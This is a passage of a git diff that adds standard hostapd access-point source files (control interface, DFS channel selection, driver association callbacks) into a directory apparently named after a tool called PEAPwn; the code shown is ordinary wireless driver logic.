(i = 0; i < iface->num_bss; i++) { + struct hostapd_data *bss = iface->bss[i]; + ret = os_snprintf(buf + len, buflen - len, + "bss[%d]=%s\n" + "bssid[%d]=" MACSTR "\n" + "ssid[%d]=%s\n" + "num_sta[%d]=%d\n", + (int) i, bss->conf->iface, + (int) i, MAC2STR(bss->own_addr), + (int) i, + wpa_ssid_txt(bss->conf->ssid.ssid, + bss->conf->ssid.ssid_len), + (int) i, bss->num_sta); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + } + + return len; +} + + +int hostapd_parse_csa_settings(const char *pos, + struct csa_settings *settings) +{ + char *end; + + if (!settings) + return -1; + + os_memset(settings, 0, sizeof(*settings)); + settings->cs_count = strtol(pos, &end, 10); + if (pos == end) { + wpa_printf(MSG_ERROR, "chanswitch: invalid cs_count provided"); + return -1; + } + + settings->freq_params.freq = atoi(end); + if (settings->freq_params.freq == 0) { + wpa_printf(MSG_ERROR, "chanswitch: invalid freq provided"); + return -1; + } + +#define SET_CSA_SETTING(str) \ + do { \ + const char *pos2 = os_strstr(pos, " " #str "="); \ + if (pos2) { \ + pos2 += sizeof(" " #str "=") - 1; \ + settings->freq_params.str = atoi(pos2); \ + } \ + } while (0) + + SET_CSA_SETTING(center_freq1); + SET_CSA_SETTING(center_freq2); + SET_CSA_SETTING(bandwidth); + SET_CSA_SETTING(sec_channel_offset); + settings->freq_params.ht_enabled = !!os_strstr(pos, " ht"); + settings->freq_params.vht_enabled = !!os_strstr(pos, " vht"); + settings->block_tx = !!os_strstr(pos, " blocktx"); +#undef SET_CSA_SETTING + + return 0; +} diff --git a/peapwn/mods/hostap/src/ap/ctrl_iface_ap.h b/peapwn/mods/hostap/src/ap/ctrl_iface_ap.h new file mode 100644 index 000000000..ee58b4c96 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ctrl_iface_ap.h @@ -0,0 +1,28 @@ +/* + * Control interface for shared AP commands + * Copyright (c) 2004-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef CTRL_IFACE_AP_H +#define CTRL_IFACE_AP_H + +int hostapd_ctrl_iface_sta_first(struct hostapd_data *hapd, + char *buf, size_t buflen); +int hostapd_ctrl_iface_sta(struct hostapd_data *hapd, const char *txtaddr, + char *buf, size_t buflen); +int hostapd_ctrl_iface_sta_next(struct hostapd_data *hapd, const char *txtaddr, + char *buf, size_t buflen); +int hostapd_ctrl_iface_deauthenticate(struct hostapd_data *hapd, + const char *txtaddr); +int hostapd_ctrl_iface_disassociate(struct hostapd_data *hapd, + const char *txtaddr); +int hostapd_ctrl_iface_status(struct hostapd_data *hapd, char *buf, + size_t buflen); +int hostapd_parse_csa_settings(const char *pos, + struct csa_settings *settings); + + +#endif /* CTRL_IFACE_AP_H */ diff --git a/peapwn/mods/hostap/src/ap/dfs.c b/peapwn/mods/hostap/src/ap/dfs.c new file mode 100644 index 000000000..0a909f4af --- /dev/null +++ b/peapwn/mods/hostap/src/ap/dfs.c @@ -0,0 +1,711 @@ +/* + * DFS - Dynamic Frequency Selection + * Copyright (c) 2002-2013, Jouni Malinen + * Copyright (c) 2013, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "common/wpa_ctrl.h" +#include "hostapd.h" +#include "ap_drv_ops.h" +#include "drivers/driver.h" +#include "dfs.h" + + +static int dfs_get_used_n_chans(struct hostapd_iface *iface) +{ + int n_chans = 1; + + if (iface->conf->ieee80211n && iface->conf->secondary_channel) + n_chans = 2; + + if (iface->conf->ieee80211ac) { + switch (iface->conf->vht_oper_chwidth) { + case VHT_CHANWIDTH_USE_HT: + break; + case VHT_CHANWIDTH_80MHZ: + n_chans = 4; + break; + case VHT_CHANWIDTH_160MHZ: + n_chans = 8; + break; + default: + break; + } + } + + return n_chans; +} + + +static int dfs_channel_available(struct hostapd_channel_data *chan) +{ + if (chan->flag & HOSTAPD_CHAN_DISABLED) + return 0; + if ((chan->flag & HOSTAPD_CHAN_RADAR) && + ((chan->flag & HOSTAPD_CHAN_DFS_MASK) == + HOSTAPD_CHAN_DFS_UNAVAILABLE)) + return 0; + return 1; +} + + +static int dfs_is_chan_allowed(struct hostapd_channel_data *chan, int n_chans) +{ + /* + * The tables contain first valid channel number based on channel width. + * We will also choose this first channel as the control one. + */ + int allowed_40[] = { 36, 44, 52, 60, 100, 108, 116, 124, 132, 149, 157, + 184, 192 }; + /* + * VHT80, valid channels based on center frequency: + * 42, 58, 106, 122, 138, 155 + */ + int allowed_80[] = { 36, 52, 100, 116, 132, 149 }; + int *allowed = allowed_40; + unsigned int i, allowed_no = 0; + + switch (n_chans) { + case 2: + allowed = allowed_40; + allowed_no = ARRAY_SIZE(allowed_40); + break; + case 4: + allowed = allowed_80; + allowed_no = ARRAY_SIZE(allowed_80); + break; + default: + wpa_printf(MSG_DEBUG, "Unknown width for %d channels", n_chans); + break; + } + + for (i = 0; i < allowed_no; i++) { + if (chan->chan == allowed[i]) + return 1; + } + + return 0; +} + + +static int dfs_chan_range_available(struct hostapd_hw_modes *mode, + int first_chan_idx, int num_chans) +{ + struct hostapd_channel_data *first_chan, *chan; + int i; + + if (first_chan_idx + num_chans >= mode->num_channels) + return 0; + + first_chan = &mode->channels[first_chan_idx]; + + for (i = 0; i < num_chans; i++) { + chan = &mode->channels[first_chan_idx + i]; + + if (first_chan->freq + i * 20 != chan->freq) + return 0; + + if (!dfs_channel_available(chan)) + return 0; + } + + return 1; +} + + +/* + * The function assumes HT40+ operation. + * Make sure to adjust the following variables after calling this: + * - hapd->secondary_channel + * - hapd->vht_oper_centr_freq_seg0_idx + * - hapd->vht_oper_centr_freq_seg1_idx + */ +static int dfs_find_channel(struct hostapd_iface *iface, + struct hostapd_channel_data **ret_chan, + int idx) +{ + struct hostapd_hw_modes *mode; + struct hostapd_channel_data *chan; + int i, channel_idx = 0, n_chans; + + mode = iface->current_mode; + n_chans = dfs_get_used_n_chans(iface); + + wpa_printf(MSG_DEBUG, "DFS new chan checking %d channels", n_chans); + for (i = 0; i < mode->num_channels; i++) { + chan = &mode->channels[i]; + + /* Skip HT40/VHT incompatible channels */ + if (iface->conf->ieee80211n && + iface->conf->secondary_channel && + !dfs_is_chan_allowed(chan, n_chans)) + continue; + + /* Skip incompatible chandefs */ + if (!dfs_chan_range_available(mode, i, n_chans)) + continue; + + if (ret_chan && idx == channel_idx) { + wpa_printf(MSG_DEBUG, "Selected ch. #%d", chan->chan); + *ret_chan = chan; + return idx; + } + wpa_printf(MSG_DEBUG, "Adding channel: %d", chan->chan); + channel_idx++; + } + return channel_idx; +} + + +static void dfs_adjust_vht_center_freq(struct hostapd_iface *iface, + struct hostapd_channel_data *chan, + u8 *vht_oper_centr_freq_seg0_idx, + u8 *vht_oper_centr_freq_seg1_idx) +{ + if (!iface->conf->ieee80211ac) + return; + + if (!chan) + return; + + *vht_oper_centr_freq_seg1_idx = 0; + + switch (iface->conf->vht_oper_chwidth) { + case VHT_CHANWIDTH_USE_HT: + if (iface->conf->secondary_channel == 1) + *vht_oper_centr_freq_seg0_idx = chan->chan + 2; + else if (iface->conf->secondary_channel == -1) + *vht_oper_centr_freq_seg0_idx = chan->chan - 2; + else + *vht_oper_centr_freq_seg0_idx = chan->chan; + break; + case VHT_CHANWIDTH_80MHZ: + *vht_oper_centr_freq_seg0_idx = chan->chan + 6; + break; + case VHT_CHANWIDTH_160MHZ: + *vht_oper_centr_freq_seg0_idx = chan->chan + 14; + break; + default: + wpa_printf(MSG_INFO, "DFS only VHT20/40/80/160 is supported now"); + break; + } + + wpa_printf(MSG_DEBUG, "DFS adjusting VHT center frequency: %d, %d", + *vht_oper_centr_freq_seg0_idx, + *vht_oper_centr_freq_seg1_idx); +} + + +/* Return start channel idx we will use for mode->channels[idx] */ +static int dfs_get_start_chan_idx(struct hostapd_iface *iface) +{ + struct hostapd_hw_modes *mode; + struct hostapd_channel_data *chan; + int channel_no = iface->conf->channel; + int res = -1, i; + + /* HT40- */ + if (iface->conf->ieee80211n && iface->conf->secondary_channel == -1) + channel_no -= 4; + + /* VHT */ + if (iface->conf->ieee80211ac) { + switch (iface->conf->vht_oper_chwidth) { + case VHT_CHANWIDTH_USE_HT: + break; + case VHT_CHANWIDTH_80MHZ: + channel_no = + iface->conf->vht_oper_centr_freq_seg0_idx - 6; + break; + case VHT_CHANWIDTH_160MHZ: + channel_no = + iface->conf->vht_oper_centr_freq_seg0_idx - 14; + break; + default: + wpa_printf(MSG_INFO, + "DFS only VHT20/40/80/160 is supported now"); + channel_no = -1; + break; + } + } + + /* Get idx */ + mode = iface->current_mode; + for (i = 0; i < mode->num_channels; i++) { + chan = &mode->channels[i]; + if (chan->chan == channel_no) { + res = i; + break; + } + } + + if (res == -1) + wpa_printf(MSG_DEBUG, "DFS chan_idx seems wrong: -1"); + + return res; +} + + +/* At least one channel have radar flag */ +static int dfs_check_chans_radar(struct hostapd_iface *iface, + int start_chan_idx, int n_chans) +{ + struct hostapd_channel_data *channel; + struct hostapd_hw_modes *mode; + int i, res = 0; + + mode = iface->current_mode; + + for (i = 0; i < n_chans; i++) { + channel = &mode->channels[start_chan_idx + i]; + if (channel->flag & HOSTAPD_CHAN_RADAR) + res++; + } + + return res; +} + + +/* All channels available */ +static int dfs_check_chans_available(struct hostapd_iface *iface, + int start_chan_idx, int n_chans) +{ + struct hostapd_channel_data *channel; + struct hostapd_hw_modes *mode; + int i; + + mode = iface->current_mode; + + for(i = 0; i < n_chans; i++) { + channel = &mode->channels[start_chan_idx + i]; + if ((channel->flag & HOSTAPD_CHAN_DFS_MASK) != + HOSTAPD_CHAN_DFS_AVAILABLE) + break; + } + + return i == n_chans; +} + + +/* At least one channel unavailable */ +static int dfs_check_chans_unavailable(struct hostapd_iface *iface, + int start_chan_idx, + int n_chans) +{ + struct hostapd_channel_data *channel; + struct hostapd_hw_modes *mode; + int i, res = 0; + + mode = iface->current_mode; + + for(i = 0; i < n_chans; i++) { + channel = &mode->channels[start_chan_idx + i]; + if (channel->flag & HOSTAPD_CHAN_DISABLED) + res++; + if ((channel->flag & HOSTAPD_CHAN_DFS_MASK) == + HOSTAPD_CHAN_DFS_UNAVAILABLE) + res++; + } + + return res; +} + + +static struct hostapd_channel_data * +dfs_get_valid_channel(struct hostapd_iface *iface, + int *secondary_channel, + u8 *vht_oper_centr_freq_seg0_idx, + u8 *vht_oper_centr_freq_seg1_idx) +{ + struct hostapd_hw_modes *mode; + struct hostapd_channel_data *chan = NULL; + int num_available_chandefs; + int chan_idx; + u32 _rand; + + wpa_printf(MSG_DEBUG, "DFS: Selecting random channel"); + + if (iface->current_mode == NULL) + return NULL; + + mode = iface->current_mode; + if (mode->mode != HOSTAPD_MODE_IEEE80211A) + return NULL; + + /* Get the count first */ + num_available_chandefs = dfs_find_channel(iface, NULL, 0); + if (num_available_chandefs == 0) + return NULL; + + os_get_random((u8 *) &_rand, sizeof(_rand)); + chan_idx = _rand % num_available_chandefs; + dfs_find_channel(iface, &chan, chan_idx); + + /* dfs_find_channel() calculations assume HT40+ */ + if (iface->conf->secondary_channel) + *secondary_channel = 1; + else + *secondary_channel = 0; + + dfs_adjust_vht_center_freq(iface, chan, + vht_oper_centr_freq_seg0_idx, + vht_oper_centr_freq_seg1_idx); + + return chan; +} + + +static int set_dfs_state_freq(struct hostapd_iface *iface, int freq, u32 state) +{ + struct hostapd_hw_modes *mode; + struct hostapd_channel_data *chan = NULL; + int i; + + mode = iface->current_mode; + if (mode == NULL) + return 0; + + wpa_printf(MSG_DEBUG, "set_dfs_state 0x%X for %d MHz", state, freq); + for (i = 0; i < iface->current_mode->num_channels; i++) { + chan = &iface->current_mode->channels[i]; + if (chan->freq == freq) { + if (chan->flag & HOSTAPD_CHAN_RADAR) { + chan->flag &= ~HOSTAPD_CHAN_DFS_MASK; + chan->flag |= state; + return 1; /* Channel found */ + } + } + } + wpa_printf(MSG_WARNING, "Can't set DFS state for freq %d MHz", freq); + return 0; +} + + +static int set_dfs_state(struct hostapd_iface *iface, int freq, int ht_enabled, + int chan_offset, int chan_width, int cf1, + int cf2, u32 state) +{ + int n_chans = 1, i; + struct hostapd_hw_modes *mode; + int frequency = freq; + int ret = 0; + + mode = iface->current_mode; + if (mode == NULL) + return 0; + + if (mode->mode != HOSTAPD_MODE_IEEE80211A) { + wpa_printf(MSG_WARNING, "current_mode != IEEE80211A"); + return 0; + } + + /* Seems cf1 and chan_width is enough here */ + switch (chan_width) { + case CHAN_WIDTH_20_NOHT: + case CHAN_WIDTH_20: + n_chans = 1; + if (frequency == 0) + frequency = cf1; + break; + case CHAN_WIDTH_40: + n_chans = 2; + frequency = cf1 - 10; + break; + case CHAN_WIDTH_80: + n_chans = 4; + frequency = cf1 - 30; + break; + case CHAN_WIDTH_160: + n_chans = 8; + frequency = cf1 - 70; + break; + default: + wpa_printf(MSG_INFO, "DFS chan_width %d not supported", + chan_width); + break; + } + + wpa_printf(MSG_DEBUG, "DFS freq: %dMHz, n_chans: %d", frequency, + n_chans); + for (i = 0; i < n_chans; i++) { + ret += set_dfs_state_freq(iface, frequency, state); + frequency = frequency + 20; + } + + return ret; +} + + +static int dfs_are_channels_overlapped(struct hostapd_iface *iface, int freq, + int chan_width, int cf1, int cf2) +{ + int start_chan_idx; + struct hostapd_hw_modes *mode; + struct hostapd_channel_data *chan; + int n_chans, i, j, frequency = freq, radar_n_chans = 1; + u8 radar_chan; + int res = 0; + + /* Our configuration */ + mode = iface->current_mode; + start_chan_idx = dfs_get_start_chan_idx(iface); + n_chans = dfs_get_used_n_chans(iface); + + /* Check we are on DFS channel(s) */ + if (!dfs_check_chans_radar(iface, start_chan_idx, n_chans)) + return 0; + + /* Reported via radar event */ + switch (chan_width) { + case CHAN_WIDTH_20_NOHT: + case CHAN_WIDTH_20: + radar_n_chans = 1; + if (frequency == 0) + frequency = cf1; + break; + case CHAN_WIDTH_40: + radar_n_chans = 2; + frequency = cf1 - 10; + break; + case CHAN_WIDTH_80: + radar_n_chans = 4; + frequency = cf1 - 30; + break; + case CHAN_WIDTH_160: + radar_n_chans = 8; + frequency = cf1 - 70; + break; + default: + wpa_printf(MSG_INFO, "DFS chan_width %d not supported", + chan_width); + break; + } + + ieee80211_freq_to_chan(frequency, &radar_chan); + + for (i = 0; i < n_chans; i++) { + chan = &mode->channels[start_chan_idx + i]; + if (!(chan->flag & HOSTAPD_CHAN_RADAR)) + continue; + for (j = 0; j < radar_n_chans; j++) { + wpa_printf(MSG_DEBUG, "checking our: %d, radar: %d", + chan->chan, radar_chan + j * 4); + if (chan->chan == radar_chan + j * 4) + res++; + } + } + + wpa_printf(MSG_DEBUG, "overlapped: %d", res); + + return res; +} + + +/* + * Main DFS handler + * 1 - continue channel/ap setup + * 0 - channel/ap setup will be continued after CAC + * -1 - hit critical error + */ +int hostapd_handle_dfs(struct hostapd_iface *iface) +{ + struct hostapd_channel_data *channel; + int res, n_chans, start_chan_idx; + + iface->cac_started = 0; + + do { + /* Get start (first) channel for current configuration */ + start_chan_idx = dfs_get_start_chan_idx(iface); + if (start_chan_idx == -1) + return -1; + + /* Get number of used channels, depend on width */ + n_chans = dfs_get_used_n_chans(iface); + + /* Check if any of configured channels require DFS */ + res = dfs_check_chans_radar(iface, start_chan_idx, n_chans); + wpa_printf(MSG_DEBUG, + "DFS %d channels required radar detection", + res); + if (!res) + return 1; + + /* Check if all channels are DFS available */ + res = dfs_check_chans_available(iface, start_chan_idx, n_chans); + wpa_printf(MSG_DEBUG, + "DFS all channels available, (SKIP CAC): %s", + res ? "yes" : "no"); + if (res) + return 1; + + /* Check if any of configured channels is unavailable */ + res = dfs_check_chans_unavailable(iface, start_chan_idx, + n_chans); + wpa_printf(MSG_DEBUG, "DFS %d chans unavailable - choose other channel: %s", + res, res ? "yes": "no"); + if (res) { + int sec; + u8 cf1, cf2; + + channel = dfs_get_valid_channel(iface, &sec, &cf1, &cf2); + if (!channel) { + wpa_printf(MSG_ERROR, "could not get valid channel"); + return -1; + } + + iface->freq = channel->freq; + iface->conf->channel = channel->chan; + iface->conf->secondary_channel = sec; + iface->conf->vht_oper_centr_freq_seg0_idx = cf1; + iface->conf->vht_oper_centr_freq_seg1_idx = cf2; + } + } while (res); + + /* Finally start CAC */ + hostapd_set_state(iface, HAPD_IFACE_DFS); + wpa_printf(MSG_DEBUG, "DFS start CAC on %d MHz", iface->freq); + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_CAC_START + "freq=%d chan=%d sec_chan=%d", + iface->freq, + iface->conf->channel, iface->conf->secondary_channel); + if (hostapd_start_dfs_cac(iface, iface->conf->hw_mode, + iface->freq, + iface->conf->channel, + iface->conf->ieee80211n, + iface->conf->ieee80211ac, + iface->conf->secondary_channel, + iface->conf->vht_oper_chwidth, + iface->conf->vht_oper_centr_freq_seg0_idx, + iface->conf->vht_oper_centr_freq_seg1_idx)) { + wpa_printf(MSG_DEBUG, "DFS start_dfs_cac() failed"); + return -1; + } + + return 0; +} + + +int hostapd_dfs_complete_cac(struct hostapd_iface *iface, int success, int freq, + int ht_enabled, int chan_offset, int chan_width, + int cf1, int cf2) +{ + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_CAC_COMPLETED + "success=%d freq=%d ht_enabled=%d chan_offset=%d chan_width=%d cf1=%d cf2=%d", + success, freq, ht_enabled, chan_offset, chan_width, cf1, cf2); + + if (success) { + /* Complete iface/ap configuration */ + set_dfs_state(iface, freq, ht_enabled, chan_offset, + chan_width, cf1, cf2, + HOSTAPD_CHAN_DFS_AVAILABLE); + iface->cac_started = 0; + hostapd_setup_interface_complete(iface, 0); + } + + return 0; +} + + +static int hostapd_dfs_start_channel_switch(struct hostapd_iface *iface) +{ + struct hostapd_channel_data *channel; + int err = 1; + int secondary_channel; + u8 vht_oper_centr_freq_seg0_idx; + u8 vht_oper_centr_freq_seg1_idx; + + wpa_printf(MSG_DEBUG, "%s called", __func__); + channel = dfs_get_valid_channel(iface, &secondary_channel, + &vht_oper_centr_freq_seg0_idx, + &vht_oper_centr_freq_seg1_idx); + if (channel) { + wpa_printf(MSG_DEBUG, "DFS will switch to a new channel %d", + channel->chan); + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_NEW_CHANNEL + "freq=%d chan=%d sec_chan=%d", channel->freq, + channel->chan, secondary_channel); + + iface->freq = channel->freq; + iface->conf->channel = channel->chan; + iface->conf->secondary_channel = secondary_channel; + iface->conf->vht_oper_centr_freq_seg0_idx = + vht_oper_centr_freq_seg0_idx; + iface->conf->vht_oper_centr_freq_seg1_idx = + vht_oper_centr_freq_seg1_idx; + err = 0; + } else { + wpa_printf(MSG_ERROR, "No valid channel available"); + } + + if (iface->cac_started) { + wpa_printf(MSG_DEBUG, "DFS radar detected during CAC"); + iface->cac_started = 0; + /* FIXME: Wait for channel(s) to become available if no channel + * has been found */ + hostapd_setup_interface_complete(iface, err); + return err; + } + + if (err) { + /* FIXME: Wait for channel(s) to become available */ + hostapd_disable_iface(iface); + return err; + } + + wpa_printf(MSG_DEBUG, "DFS radar detected"); + hostapd_disable_iface(iface); + hostapd_enable_iface(iface); + return 0; +} + + +int hostapd_dfs_radar_detected(struct hostapd_iface *iface, int freq, + int ht_enabled, int chan_offset, int chan_width, + int cf1, int cf2) +{ + int res; + + if (!iface->conf->ieee80211h) + return 0; + + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_RADAR_DETECTED + "freq=%d ht_enabled=%d chan_offset=%d chan_width=%d cf1=%d cf2=%d", + freq, ht_enabled, chan_offset, chan_width, cf1, cf2); + + /* mark radar frequency as invalid */ + res = set_dfs_state(iface, freq, ht_enabled, chan_offset, + chan_width, cf1, cf2, + HOSTAPD_CHAN_DFS_UNAVAILABLE); + + /* Skip if reported radar event not overlapped our channels */ + res = dfs_are_channels_overlapped(iface, freq, chan_width, cf1, cf2); + if (!res) + return 0; + + /* radar detected while operating, switch the channel. */ + res = hostapd_dfs_start_channel_switch(iface); + + return res; +} + + +int hostapd_dfs_nop_finished(struct hostapd_iface *iface, int freq, + int ht_enabled, int chan_offset, int chan_width, + int cf1, int cf2) +{ + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, DFS_EVENT_NOP_FINISHED + "freq=%d ht_enabled=%d chan_offset=%d chan_width=%d cf1=%d cf2=%d", + freq, ht_enabled, chan_offset, chan_width, cf1, cf2); + /* TODO add correct implementation here */ + set_dfs_state(iface, freq, ht_enabled, chan_offset, chan_width, + cf1, cf2, HOSTAPD_CHAN_DFS_USABLE); + return 0; +} diff --git a/peapwn/mods/hostap/src/ap/dfs.h b/peapwn/mods/hostap/src/ap/dfs.h new file mode 100644 index 000000000..859ff7915 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/dfs.h @@ -0,0 +1,25 @@ +/* + * DFS - Dynamic Frequency Selection + * Copyright (c) 2002-2013, Jouni Malinen + * Copyright (c) 2013, Qualcomm Atheros, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ +#ifndef DFS_H +#define DFS_H + +int hostapd_handle_dfs(struct hostapd_iface *iface); + +int hostapd_dfs_complete_cac(struct hostapd_iface *iface, int success, int freq, + int ht_enabled, int chan_offset, int chan_width, + int cf1, int cf2); +int hostapd_dfs_radar_detected(struct hostapd_iface *iface, int freq, + int ht_enabled, + int chan_offset, int chan_width, + int cf1, int cf2); +int hostapd_dfs_nop_finished(struct hostapd_iface *iface, int freq, + int ht_enabled, + int chan_offset, int chan_width, int cf1, int cf2); + +#endif /* DFS_H */ diff --git a/peapwn/mods/hostap/src/ap/drv_callbacks.c b/peapwn/mods/hostap/src/ap/drv_callbacks.c new file mode 100644 index 000000000..1b69ba826 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/drv_callbacks.c @@ -0,0 +1,1027 @@ +/* + * hostapd / Callback functions for driver wrappers + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "radius/radius.h" +#include "drivers/driver.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "common/wpa_ctrl.h" +#include "crypto/random.h" +#include "p2p/p2p.h" +#include "wps/wps.h" +#include "wnm_ap.h" +#include "hostapd.h" +#include "ieee802_11.h" +#include "sta_info.h" +#include "accounting.h" +#include "tkip_countermeasures.h" +#include "ieee802_1x.h" +#include "wpa_auth.h" +#include "wps_hostapd.h" +#include "ap_drv_ops.h" +#include "ap_config.h" +#include "hw_features.h" +#include "dfs.h" + + +int hostapd_notif_assoc(struct hostapd_data *hapd, const u8 *addr, + const u8 *req_ies, size_t req_ies_len, int reassoc) +{ + struct sta_info *sta; + int new_assoc, res; + struct ieee802_11_elems elems; + const u8 *ie; + size_t ielen; +#ifdef CONFIG_IEEE80211R + u8 buf[sizeof(struct ieee80211_mgmt) + 1024]; + u8 *p = buf; +#endif /* CONFIG_IEEE80211R */ + u16 reason = WLAN_REASON_UNSPECIFIED; + u16 status = WLAN_STATUS_SUCCESS; + const u8 *p2p_dev_addr = NULL; + + if (addr == NULL) { + /* + * This could potentially happen with unexpected event from the + * driver wrapper. This was seen at least in one case where the + * driver ended up being set to station mode while hostapd was + * running, so better make sure we stop processing such an + * event here. + */ + wpa_printf(MSG_DEBUG, "hostapd_notif_assoc: Skip event with " + "no address"); + return -1; + } + random_add_randomness(addr, ETH_ALEN); + + hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_INFO, "associated"); + + ieee802_11_parse_elems(req_ies, req_ies_len, &elems, 0); + if (elems.wps_ie) { + ie = elems.wps_ie - 2; + ielen = elems.wps_ie_len + 2; + wpa_printf(MSG_DEBUG, "STA included WPS IE in (Re)AssocReq"); + } else if (elems.rsn_ie) { + ie = elems.rsn_ie - 2; + ielen = elems.rsn_ie_len + 2; + wpa_printf(MSG_DEBUG, "STA included RSN IE in (Re)AssocReq"); + } else if (elems.wpa_ie) { + ie = elems.wpa_ie - 2; + ielen = elems.wpa_ie_len + 2; + wpa_printf(MSG_DEBUG, "STA included WPA IE in (Re)AssocReq"); + } else { + ie = NULL; + ielen = 0; + wpa_printf(MSG_DEBUG, "STA did not include WPS/RSN/WPA IE in " + "(Re)AssocReq"); + } + + sta = ap_get_sta(hapd, addr); + if (sta) { + ap_sta_no_session_timeout(hapd, sta); + accounting_sta_stop(hapd, sta); + + /* + * Make sure that the previously registered inactivity timer + * will not remove the STA immediately. + */ + sta->timeout_next = STA_NULLFUNC; + } else { + sta = ap_sta_add(hapd, addr); + if (sta == NULL) { + hostapd_drv_sta_disassoc(hapd, addr, + WLAN_REASON_DISASSOC_AP_BUSY); + return -1; + } + } + sta->flags &= ~(WLAN_STA_WPS | WLAN_STA_MAYBE_WPS | WLAN_STA_WPS2); + +#ifdef CONFIG_P2P + if (elems.p2p) { + wpabuf_free(sta->p2p_ie); + sta->p2p_ie = ieee802_11_vendor_ie_concat(req_ies, req_ies_len, + P2P_IE_VENDOR_TYPE); + if (sta->p2p_ie) + p2p_dev_addr = p2p_get_go_dev_addr(sta->p2p_ie); + } +#endif /* CONFIG_P2P */ + +#ifdef CONFIG_INTERWORKING + if (elems.ext_capab && elems.ext_capab_len > 4) { + if (elems.ext_capab[4] & 0x01) + sta->qos_map_enabled = 1; + } +#endif /* CONFIG_INTERWORKING */ + +#ifdef CONFIG_HS20 + wpabuf_free(sta->hs20_ie); + if (elems.hs20 && elems.hs20_len > 4) { + sta->hs20_ie = wpabuf_alloc_copy(elems.hs20 + 4, + elems.hs20_len - 4); + } else + sta->hs20_ie = NULL; +#endif /* CONFIG_HS20 */ + + if (hapd->conf->wpa) { + if (ie == NULL || ielen == 0) { +#ifdef CONFIG_WPS + if (hapd->conf->wps_state) { + wpa_printf(MSG_DEBUG, "STA did not include " + "WPA/RSN IE in (Re)Association " + "Request - possible WPS use"); + sta->flags |= WLAN_STA_MAYBE_WPS; + goto skip_wpa_check; + } +#endif /* CONFIG_WPS */ + + wpa_printf(MSG_DEBUG, "No WPA/RSN IE from STA"); + return -1; + } +#ifdef CONFIG_WPS + if (hapd->conf->wps_state && ie[0] == 0xdd && ie[1] >= 4 && + os_memcmp(ie + 2, "\x00\x50\xf2\x04", 4) == 0) { + struct wpabuf *wps; + sta->flags |= WLAN_STA_WPS; + wps = ieee802_11_vendor_ie_concat(ie, ielen, + WPS_IE_VENDOR_TYPE); + if (wps) { + if (wps_is_20(wps)) { + wpa_printf(MSG_DEBUG, "WPS: STA " + "supports WPS 2.0"); + sta->flags |= WLAN_STA_WPS2; + } + wpabuf_free(wps); + } + goto skip_wpa_check; + } +#endif /* CONFIG_WPS */ + + if (sta->wpa_sm == NULL) + sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, + sta->addr, + p2p_dev_addr); + if (sta->wpa_sm == NULL) { + wpa_printf(MSG_ERROR, "Failed to initialize WPA state " + "machine"); + return -1; + } + res = wpa_validate_wpa_ie(hapd->wpa_auth, sta->wpa_sm, + ie, ielen, + elems.mdie, elems.mdie_len); + if (res != WPA_IE_OK) { + wpa_printf(MSG_DEBUG, "WPA/RSN information element " + "rejected? (res %u)", res); + wpa_hexdump(MSG_DEBUG, "IE", ie, ielen); + if (res == WPA_INVALID_GROUP) { + reason = WLAN_REASON_GROUP_CIPHER_NOT_VALID; + status = WLAN_STATUS_GROUP_CIPHER_NOT_VALID; + } else if (res == WPA_INVALID_PAIRWISE) { + reason = WLAN_REASON_PAIRWISE_CIPHER_NOT_VALID; + status = WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID; + } else if (res == WPA_INVALID_AKMP) { + reason = WLAN_REASON_AKMP_NOT_VALID; + status = WLAN_STATUS_AKMP_NOT_VALID; + } +#ifdef CONFIG_IEEE80211W + else if (res == WPA_MGMT_FRAME_PROTECTION_VIOLATION) { + reason = WLAN_REASON_INVALID_IE; + status = WLAN_STATUS_INVALID_IE; + } else if (res == WPA_INVALID_MGMT_GROUP_CIPHER) { + reason = WLAN_REASON_GROUP_CIPHER_NOT_VALID; + status = WLAN_STATUS_GROUP_CIPHER_NOT_VALID; + } +#endif /* CONFIG_IEEE80211W */ + else { + reason = WLAN_REASON_INVALID_IE; + status = WLAN_STATUS_INVALID_IE; + } + goto fail; + } +#ifdef CONFIG_IEEE80211W + if ((sta->flags & WLAN_STA_MFP) && !sta->sa_query_timed_out && + sta->sa_query_count > 0) + ap_check_sa_query_timeout(hapd, sta); + if ((sta->flags & WLAN_STA_MFP) && !sta->sa_query_timed_out && + (sta->auth_alg != WLAN_AUTH_FT)) { + /* + * STA has already been associated with MFP and SA + * Query timeout has not been reached. Reject the + * association attempt temporarily and start SA Query, + * if one is not pending. + */ + + if (sta->sa_query_count == 0) + ap_sta_start_sa_query(hapd, sta); + +#ifdef CONFIG_IEEE80211R + status = WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY; + + p = hostapd_eid_assoc_comeback_time(hapd, sta, p); + + hostapd_sta_assoc(hapd, addr, reassoc, status, buf, + p - buf); +#endif /* CONFIG_IEEE80211R */ + return 0; + } + + if (wpa_auth_uses_mfp(sta->wpa_sm)) + sta->flags |= WLAN_STA_MFP; + else + sta->flags &= ~WLAN_STA_MFP; +#endif /* CONFIG_IEEE80211W */ + +#ifdef CONFIG_IEEE80211R + if (sta->auth_alg == WLAN_AUTH_FT) { + status = wpa_ft_validate_reassoc(sta->wpa_sm, req_ies, + req_ies_len); + if (status != WLAN_STATUS_SUCCESS) { + if (status == 